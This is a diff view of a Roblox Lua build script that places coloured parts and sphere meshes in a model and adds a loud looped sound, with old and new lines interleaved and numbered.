Part22.brickColor = BrickColor.new("Bright yellow")
340-
Part20.Rotation = Vector3.new(90, 0, 90)
340+
Part22.FormFactor = Enum.FormFactor.Plate
341-
Part20.Color = Color3.new(0, 0.12549, 0.376471)
341+
Part22.formFactor = Enum.FormFactor.Plate
342-
Part20.Size = Vector3.new(70, 0.600000024, 0.599999785)
342+
SpecialMesh23.Parent = Part22
343-
Part20.Anchored = true
343+
SpecialMesh23.MeshType = Enum.MeshType.Sphere
344-
Part20.BottomSurface = Enum.SurfaceType.Smooth
344+
345-
Part20.BrickColor = BrickColor.new("Navy blue")
345+
Part24.CFrame = CFrame.new(-9.67272949, 129.928009, -164.899841, 1, 0, 0, 0, -1, 1.50995803e-07, 0, -1.50995803e-07, -1)
346-
Part20.TopSurface = Enum.SurfaceType.Smooth
346+
Part24.Orientation = Vector3.new(0, 180, 180)
347-
Part20.brickColor = BrickColor.new("Navy blue")
347+
Part24.Position = Vector3.new(-9.67272949, 129.928009, -164.899841)
348-
Part20.FormFactor = Enum.FormFactor.Custom
348+
Part24.Rotation = Vector3.new(-180, 0, 0)
349-
Part20.formFactor = Enum.FormFactor.Custom
349+
350-
Part20.Shape = Enum.PartType.Cylinder
350+
Part24.Size = Vector3.new(45.8575859, 36.6860695, 45.8575859)
351-
Part21.Parent = Model0
351+
352-
Part21.CFrame = CFrame.new(-23.4796143, 12.399888, 103.965607, -1.19248806e-08, -1, -4.37113883e-08, 5.21253064e-16, 4.37113776e-08, -1, 1, -1.19248806e-08, 0)
352+
353-
Part21.Orientation = Vector3.new(90, -90, 0)
353+
354-
Part21.Position = Vector3.new(-23.4796143, 12.399888, 103.965607)
354+
355-
Part21.Rotation = Vector3.new(90, 0, 90)
355+
356-
Part21.Color = Color3.new(0, 0.12549, 0.376471)
356+
Part24.FormFactor = Enum.FormFactor.Plate
357-
Part21.Size = Vector3.new(70, 0.600000024, 0.599999785)
357+
Part24.formFactor = Enum.FormFactor.Plate
358-
Part21.Anchored = true
358+
SpecialMesh25.Parent = Part24
359-
Part21.BottomSurface = Enum.SurfaceType.Smooth
359+
SpecialMesh25.MeshType = Enum.MeshType.Sphere
360-
Part21.BrickColor = BrickColor.new("Navy blue")
360+
361-
Part21.TopSurface = Enum.SurfaceType.Smooth
361+
Part26.CFrame = CFrame.new(-11.2014084, 151.32843, -164.899841, 1, 0, 0, 0, -1, 1.50995803e-07, 0, -1.50995803e-07, -1)
362-
Part21.brickColor = BrickColor.new("Navy blue")
362+
Part26.Orientation = Vector3.new(0, 180, 180)
363-
Part21.FormFactor = Enum.FormFactor.Custom
363+
Part26.Position = Vector3.new(-11.2014084, 151.32843, -164.899841)
364-
Part21.formFactor = Enum.FormFactor.Custom
364+
Part26.Rotation = Vector3.new(-180, 0, 0)
365-
Part21.Shape = Enum.PartType.Cylinder
365+
Part26.Color = Color3.new(0.94902, 0.952941, 0.952941)
366
Part26.Size = Vector3.new(15.285862, 18.3430347, 15.285862)
367-
Part22.CFrame = CFrame.new(-21.0796509, 10.3998957, 68.765625, 1, 0, 0, 0, 1, 0, 0, 0, 1)
367+
368-
Part22.Position = Vector3.new(-21.0796509, 10.3998957, 68.765625)
368+
369-
Part22.Color = Color3.new(0.768628, 0.156863, 0.109804)
369+
Part26.BrickColor = BrickColor.new("White")
370-
Part22.Size = Vector3.new(2, 2, 2)
370+
371
Part26.brickColor = BrickColor.new("White")
372
Part26.FormFactor = Enum.FormFactor.Plate
373-
Part22.BrickColor = BrickColor.new("Bright red")
373+
Part26.formFactor = Enum.FormFactor.Plate
374
SpecialMesh27.Parent = Part26
375-
Part22.brickColor = BrickColor.new("Bright red")
375+
SpecialMesh27.MeshType = Enum.MeshType.Sphere
376-
Part22.FormFactor = Enum.FormFactor.Symmetric
376+
377-
Part22.formFactor = Enum.FormFactor.Symmetric
377+
Part28.CFrame = CFrame.new(-88.1795425, 56.1479378, -163.37117, -2.1656291e-07, 0.50000006, -0.866025388, -1.45450642e-07, -0.866025388, -0.50000006, -1, 1.76825097e-08, 2.60274305e-07)
378-
Part22.Shape = Enum.PartType.Ball
378+
Part28.Orientation = Vector3.new(30, -90, -180)
379-
Part23.Parent = Model0
379+
Part28.Position = Vector3.new(-88.1795425, 56.1479378, -163.37117)
380-
Part23.CFrame = CFrame.new(-21.0796509, 12.3998957, 68.765625, 1, 0, 0, 0, 1, 0, 0, 0, 1)
380+
Part28.Rotation = Vector3.new(90, -60, -90)
381-
Part23.Position = Vector3.new(-21.0796509, 12.3998957, 68.765625)
381+
Part28.Color = Color3.new(0.960784, 0.803922, 0.188235)
382-
Part23.Color = Color3.new(0.768628, 0.156863, 0.109804)
382+
Part28.Size = Vector3.new(30.5717239, 24.4573803, 61.1434479)
383-
Part23.Size = Vector3.new(2, 2, 2)
383+
384-
Part23.Anchored = true
384+
385-
Part23.BottomSurface = Enum.SurfaceType.Smooth
385+
Part28.BrickColor = BrickColor.new("Bright yellow")
386-
Part23.BrickColor = BrickColor.new("Bright red")
386+
387-
Part23.TopSurface = Enum.SurfaceType.Smooth
387+
Part28.brickColor = BrickColor.new("Bright yellow")
388-
Part23.brickColor = BrickColor.new("Bright red")
388+
Part28.FormFactor = Enum.FormFactor.Plate
389-
Part23.FormFactor = Enum.FormFactor.Symmetric
389+
Part28.formFactor = Enum.FormFactor.Plate
390-
Part23.formFactor = Enum.FormFactor.Symmetric
390+
SpecialMesh29.Parent = Part28
391-
Part23.Shape = Enum.PartType.Ball
391+
SpecialMesh29.MeshType = Enum.MeshType.Sphere
392
Part30.Parent = Model0
393-
Part24.CFrame = CFrame.new(-21.0796509, 8.19994259, 68.765625, 1, 0, 0, 0, 1, 0, 0, 0, 1)
393+
Part30.CFrame = CFrame.new(66.207756, 59.2052956, -163.37117, 2.16562825e-07, -0.499999881, -0.866025507, -1.45450585e-07, -0.866025507, 0.499999881, -1, 1.76825665e-08, -2.60274192e-07)
394-
Part24.Position = Vector3.new(-21.0796509, 8.19994259, 68.765625)
394+
Part30.Orientation = Vector3.new(-30, -90, -180)
395
Part30.Position = Vector3.new(66.207756, 59.2052956, -163.37117)
396-
Part24.Size = Vector3.new(2, 2, 2)
396+
Part30.Rotation = Vector3.new(-90, -60, 90)
397
Part30.Color = Color3.new(0.960784, 0.803922, 0.188235)
398
Part30.Size = Vector3.new(30.5717239, 24.4573803, 61.1434479)
399
Part30.Anchored = true
400
Part30.BottomSurface = Enum.SurfaceType.Smooth
401
Part30.BrickColor = BrickColor.new("Bright yellow")
402-
Part24.FormFactor = Enum.FormFactor.Symmetric
402+
403-
Part24.formFactor = Enum.FormFactor.Symmetric
403+
Part30.brickColor = BrickColor.new("Bright yellow")
404-
Part24.Shape = Enum.PartType.Ball
404+
Part30.FormFactor = Enum.FormFactor.Plate
405-
Part25.Parent = Model0
405+
Part30.formFactor = Enum.FormFactor.Plate
406-
Part25.CFrame = CFrame.new(45.1203575, 12.3998957, 138.965622, 1, 0, 0, 0, 1, 0, 0, 0, 1)
406+
SpecialMesh31.Parent = Part30
407-
Part25.Position = Vector3.new(45.1203575, 12.3998957, 138.965622)
407+
SpecialMesh31.MeshType = Enum.MeshType.Sphere
408-
Part25.Color = Color3.new(0.768628, 0.156863, 0.109804)
408+
Sound32.Parent = Model0
409-
Part25.Size = Vector3.new(2, 2, 2)
409+
Sound32.Looped = true
410-
Part25.Anchored = true
410+
Sound32.MaxDistance = 9.9999999449573e+32
411-
Part25.BottomSurface = Enum.SurfaceType.Smooth
411+
Sound32.Playing = true
412-
Part25.BrickColor = BrickColor.new("Bright red")
412+
Sound32.SoundId = "rbxassetid://1409141385"
413-
Part25.TopSurface = Enum.SurfaceType.Smooth
413+
Sound32.Volume = 10
414-
Part25.brickColor = BrickColor.new("Bright red")
414+
415-
Part25.FormFactor = Enum.FormFactor.Symmetric
415+
416-
Part25.formFactor = Enum.FormFactor.Symmetric
416+
417-
Part25.Shape = Enum.PartType.Ball
417+
418
mas:Destroy()
419-
Part26.CFrame = CFrame.new(45.1203575, 8.19994259, 138.965622, 1, 0, 0, 0, 1, 0, 0, 0, 1)
419+
420-
Part26.Position = Vector3.new(45.1203575, 8.19994259, 138.965622)
420+
421-
Part26.Color = Color3.new(0.768628, 0.156863, 0.109804)
421+
422-
Part26.Size = Vector3.new(2, 2, 2)
422+
423
end